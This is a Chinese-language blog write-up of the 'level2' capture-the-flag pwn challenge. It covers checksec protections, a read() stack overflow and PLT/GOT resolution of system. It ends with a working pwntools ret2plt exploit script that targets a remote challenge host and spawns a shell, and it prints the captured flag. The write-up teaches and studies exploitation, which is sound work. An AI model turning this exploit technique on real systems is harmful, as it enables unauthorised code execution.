手残博主因在27日从根地址误删了自己两年半配置和使用的kali虚拟机。。。在一步步恢复环境配置的时候,从头到尾刷一遍题,总结思路。
开启场景后,服务端会开启对应的端口,并在端口上部署和附件相同的ELF二进制可执行文件,我们要做的就是下载附件并在本地进行反汇编,反编译等操作分析程序漏洞,从而利用漏洞获取题目的flag。
file查看一下文件属性,可以看到文件是linux elf文件,32字节,Inter80386微处理器。 checksec的常用命令是:checksec [filename] ,也就是checksec后面加上你的程序; 也可以用gdb插件中的checksec来监测,gdb中直接checksec就可以了,如下: checksec可以检查程序保护机制,从而查看题目开启了哪些保护机制,有助于对题目的初步分析。 Arch:程序位数(查看是多少位的程序,比如32或64位),也可以查看是哪个微处理器,比如i386为32位微处理器,amd64为64位微处理器(x86架构的延伸产品,称为x86-64,后改名为AMD64); RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELEO为"Partial RELRO",说明我们对GOT表有写权限。 Stack:栈溢出监测,查看程序是否开启了Canary防护(一种对函数栈的监测保护:还没等到栈溢出,先返回canary word,从而监测栈溢出情况)。 NX :No-eXecute(不可执行),相等于windows的DEP(数据执行保护),就是将攻击者构造的payload和shellcode(一般为系统远程执行命令)所在的内存页标识为不可执行,当攻击代码想要以数据代码伪装成可执行代码时,就会被检测到,从而使CPU抛出异常,从而不执行恶意指令。 PIE:内存地址空间分布随机化(ASLR:address space layout randomization) 从checksec检测中可以看出
这是一个32位小端序程序;不完全开启RELRO;金丝雀没有开启;NX开启;没有开启地址空间随机化;在main函数上按F5进入伪代码:
分析程序 可以看到在漏洞函数的下面是一个system函数,这里就是一个典型的plt.got表的查找问题,只要我们通过plt.got表找到system函数的地址,通过栈溢出实现函数跳转,然后再找到/bin/sh的地址,将/bin/sh执行,就可以实现pwn操作。(博主觉得这是最容易理解的解释了,但是可能小白们还是理解不了,所以手残博主画了个图帮助大家理解) 如圈1,先是通过漏洞函数实现缓冲区溢出覆盖ret值实现函数跳转,将ret指向system函数(这里有一个plt.got表的知识,请看手残博主上面画的"call system"那个流程图),system函数的地址寻找流程是:首先让plt表查找got表,让got表查找system函数的位置,但是got表回复plt表没有找到,返回后通过另一个方法实现使got表找到system函数,返回system函数的地址,然后第二次查找时直接通过plt.got就可以得到system函数的地址了,不需要重复这个流程。 漏洞函数: 箭头指向的&buf是一个缓冲区地址,程序可以让我们在这个缓冲区的0x100区间中执行操作,从而使我们可以构造溢出payload。 内存地址区间
去十六进制表中看一下,找到了bin/sh/字符串,查看一下内存地址,打开后成功找到/bin/sh
程序的关键是:返回值被覆盖为system函数的地址,使程序跳转到目的函数,然后将/bin/sh/的地址当做参数嵌入system函数中,从而执行shell。我们只要通过read()函数进行缓冲区溢出,将中间的内存覆盖脏数据,查找plt.got表找到system函数的地址,再嵌入shell地址就可以执行指定函数shell。 好了,现在思路清晰,我们来构建我们的exp攻击脚本。
content = 1就是pwn本地:
from pwn import * context(os='linux',arch="x86",log_level="debug") content=1 elf = ELF("./level2") system_addr = elf.plt["system"] system_sh = next(elf.search(b"/bin/sh")) def main(): if content == 1: peiqi = process("level2") else: peiqi = remote("220.249.52.133",32381) payload = b'a' * (0x88 + 4) payload = payload + p32(system_addr) payload = payload + b'a' * 4 + p32(system_sh) peiqi.recvuntil("Input:\n") peiqi.sendline(payload) peiqi.interactive() main()因为你的本地程序并没有flag,所以这里显示cat:没有找到,说明你的exp基本上已经编写成功,现在只要将content修改为0就可以pwn远程了
成功pwn到flag:cyberpeace{a40ab285131b34e275dcb878160c449d}
一道很简单的pwn题。